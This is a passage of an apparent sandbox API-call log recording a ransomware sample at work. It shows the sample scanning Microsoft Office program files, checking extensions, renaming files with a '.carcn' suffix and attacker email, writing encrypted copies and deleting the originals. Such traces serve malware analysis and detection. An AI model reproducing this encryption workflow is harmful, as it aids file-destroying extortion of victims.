dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0278.836] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11616) returned 1 [0278.836] CloseHandle (hObject=0x540) returned 1 [0278.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220 [0278.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0278.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0278.837] lstrlenW (lpString=".doc") returned 4 [0278.837] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0278.837] lstrlenW (lpString=".docx") returned 5 [0278.837] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0278.837] lstrlenW (lpString=".pdf") returned 4 [0278.837] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0278.837] lstrlenW (lpString=".xls") returned 4 [0278.837] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0278.837] lstrlenW (lpString=".xlsx") returned 5 [0278.837] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0278.837] lstrlenW (lpString=".ppt") returned 4 [0278.837] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0278.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0278.837] lstrlenW (lpString=".zip") returned 4 [0278.837] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0278.837] lstrlenW (lpString=".rar") returned 4 [0278.837] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0278.837] lstrlenW (lpString=".bz2") returned 4 [0278.837] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0278.837] lstrlenW (lpString=".7z") returned 3 [0278.838] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0278.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0278.838] lstrlenW (lpString=".dbf") returned 4 [0278.838] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0278.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0278.838] lstrlenW (lpString=".1cd") returned 4 [0278.838] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0278.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0278.838] lstrlenW (lpString=".jpg") returned 4 [0278.838] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0278.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0278.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0278.838] lstrlenW (lpString=".doc") returned 4 [0278.838] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0278.838] lstrlenW (lpString=".docx") returned 5 [0278.838] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0278.838] lstrlenW (lpString=".pdf") returned 4 [0278.838] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0278.839] lstrlenW (lpString=".xls") returned 4 [0278.839] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0278.839] lstrlenW (lpString=".xlsx") returned 5 [0278.839] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0278.840] lstrlenW (lpString=".ppt") returned 4 [0278.840] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0278.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0278.840] lstrlenW (lpString=".zip") returned 4 [0278.840] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0278.840] lstrlenW (lpString=".rar") returned 4 [0278.840] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0278.840] lstrlenW (lpString=".bz2") returned 4 [0278.840] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0278.840] lstrlenW (lpString=".7z") returned 3 [0278.840] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0278.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0278.840] lstrlenW (lpString=".dbf") returned 4 [0278.840] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0278.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0278.840] lstrlenW (lpString=".1cd") returned 4 [0278.840] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0278.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0278.840] lstrlenW (lpString=".jpg") returned 4 [0278.840] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0278.841] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0278.841] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0278.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0278.842] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=19648) returned 1 [0278.842] CloseHandle (hObject=0x540) returned 1 [0278.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220 [0278.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0278.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0278.844] lstrlenW (lpString=".doc") returned 4 [0278.844] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0278.844] lstrlenW (lpString=".docx") returned 5 [0278.844] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0278.844] lstrlenW (lpString=".pdf") returned 4 [0278.844] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0278.845] lstrlenW (lpString=".xls") returned 4 [0278.845] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0278.845] lstrlenW (lpString=".xlsx") returned 5 [0278.845] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0278.845] lstrlenW (lpString=".ppt") returned 4 [0278.845] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0278.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0278.845] lstrlenW (lpString=".zip") returned 4 [0278.845] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0278.845] lstrlenW (lpString=".rar") returned 4 [0278.845] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0278.846] lstrlenW (lpString=".bz2") returned 4 [0278.846] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0278.846] lstrlenW (lpString=".7z") returned 3 [0278.846] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0278.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0278.846] lstrlenW (lpString=".dbf") returned 4 [0278.846] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0278.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0278.846] lstrlenW (lpString=".1cd") returned 4 [0278.846] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0278.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0278.846] lstrlenW (lpString=".jpg") returned 4 [0278.846] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0278.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0278.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0278.846] lstrlenW (lpString=".doc") returned 4 [0278.846] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0278.846] lstrlenW (lpString=".docx") returned 5 [0278.846] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0278.846] lstrlenW (lpString=".pdf") returned 4 [0278.846] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0278.846] lstrlenW (lpString=".xls") returned 4 [0278.847] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0278.847] lstrlenW (lpString=".xlsx") returned 5 [0278.847] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0278.847] lstrlenW (lpString=".ppt") returned 4 [0278.847] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0278.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0278.847] lstrlenW (lpString=".zip") returned 4 [0278.847] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0278.847] lstrlenW (lpString=".rar") returned 4 [0278.847] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0278.847] lstrlenW (lpString=".bz2") returned 4 [0278.847] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0278.847] lstrlenW (lpString=".7z") returned 3 [0278.847] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0278.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0279.130] lstrlenW (lpString=".dbf") returned 4 [0279.172] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0279.172] lstrlenW (lpString=".1cd") returned 4 [0279.172] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0279.172] lstrlenW (lpString=".jpg") returned 4 [0279.172] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.172] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0279.172] lstrlenW (lpString="AppVManifest.dll") returned 16 [0279.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0279.625] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=1007320) returned 1 [0279.625] CloseHandle (hObject=0x53c) returned 1 [0279.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll")) returned 0x220 [0279.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0279.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0279.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0279.626] lstrlenW (lpString=".doc") returned 4 [0279.626] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.626] lstrlenW (lpString=".docx") returned 5 [0279.626] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0279.626] lstrlenW (lpString=".pdf") returned 4 [0279.626] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.626] lstrlenW (lpString=".xls") returned 4 [0279.626] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.626] lstrlenW (lpString=".xlsx") returned 5 [0279.626] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0279.626] lstrlenW (lpString=".ppt") returned 4 [0279.626] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0279.626] lstrlenW (lpString=".zip") returned 4 [0279.626] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.626] lstrlenW (lpString=".rar") returned 4 [0279.627] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.627] lstrlenW (lpString=".bz2") returned 4 [0279.627] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.627] lstrlenW (lpString=".7z") returned 3 [0279.627] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0279.627] lstrlenW (lpString=".dbf") returned 4 [0279.627] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0279.627] lstrlenW (lpString=".1cd") returned 4 [0279.627] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0279.627] lstrlenW (lpString=".jpg") returned 4 [0279.627] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0279.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0279.627] lstrlenW (lpString=".doc") returned 4 [0279.627] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.627] lstrlenW (lpString=".docx") returned 5 [0279.627] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0279.627] lstrlenW (lpString=".pdf") returned 4 [0279.627] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.627] lstrlenW (lpString=".xls") returned 4 [0279.627] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.627] lstrlenW (lpString=".xlsx") returned 5 [0279.627] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0279.630] lstrlenW (lpString=".ppt") returned 4 [0279.631] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0279.631] lstrlenW (lpString=".zip") returned 4 [0279.631] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.631] lstrlenW (lpString=".rar") returned 4 [0279.631] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.631] lstrlenW (lpString=".bz2") returned 4 [0279.631] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.631] lstrlenW (lpString=".7z") returned 3 [0279.631] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0279.631] lstrlenW (lpString=".dbf") returned 4 [0279.631] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0279.631] lstrlenW (lpString=".1cd") returned 4 [0279.631] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVManifest.dll") returned 65 [0279.631] lstrlenW (lpString=".jpg") returned 4 [0279.631] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.809] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0279.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0279.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0279.811] lstrlenW (lpString=".doc") returned 4 [0279.811] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.811] lstrlenW (lpString=".docx") returned 5 [0279.811] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0279.811] lstrlenW (lpString=".pdf") returned 4 [0279.811] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.811] lstrlenW (lpString=".xls") returned 4 [0279.811] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.811] lstrlenW (lpString=".xlsx") returned 5 [0279.811] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0279.811] lstrlenW (lpString=".ppt") returned 4 [0279.811] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0279.811] lstrlenW (lpString=".zip") returned 4 [0279.811] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.811] lstrlenW (lpString=".rar") returned 4 [0279.811] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.811] lstrlenW (lpString=".bz2") returned 4 [0279.812] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.812] lstrlenW (lpString=".7z") returned 3 [0279.812] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0279.812] lstrlenW (lpString=".dbf") returned 4 [0279.812] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89 [0279.824] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0279.829] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0279.833] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0279.834] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0279.834] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0279.836] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.836] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0279.863] GetLastError () returned 0x0 [0279.863] ReadFile (in: hFile=0x4a0, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0xfa976, lpOverlapped=0x0) returned 1 [0280.480] WriteFile (in: hFile=0x394, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xfa980, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xfa980, lpOverlapped=0x0) returned 1 [0280.502] ReadFile (in: hFile=0x4a0, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0280.502] WriteFile (in: hFile=0x394, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x10c, lpOverlapped=0x0) returned 1 [0280.502] SetEndOfFile (hFile=0x394) returned 1 [0280.503] CloseHandle (hObject=0x394) returned 1 [0280.503] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0280.503] SetEndOfFile (hFile=0x4a0) returned 1 [0281.236] CloseHandle (hObject=0x4a0) returned 1 [0281.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu")) returned 1 [0281.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0281.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0281.617] lstrlenW (lpString=".doc") returned 4 [0281.617] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0281.617] lstrlenW (lpString=".docx") returned 5 [0281.617] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0281.617] lstrlenW (lpString=".pdf") returned 4 [0281.617] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0281.617] lstrlenW (lpString=".xls") returned 4 [0281.617] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0281.617] lstrlenW (lpString=".xlsx") returned 5 [0281.617] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0281.617] lstrlenW (lpString=".ppt") returned 4 [0281.617] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0281.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0281.617] lstrlenW (lpString=".zip") returned 4 [0281.617] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0281.617] lstrlenW (lpString=".rar") returned 4 [0281.617] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0281.617] lstrlenW (lpString=".bz2") returned 4 [0281.617] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0281.617] lstrlenW (lpString=".7z") returned 3 [0281.617] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0281.618] lstrlenW (lpString="C:\\Program Files\\Microsoft 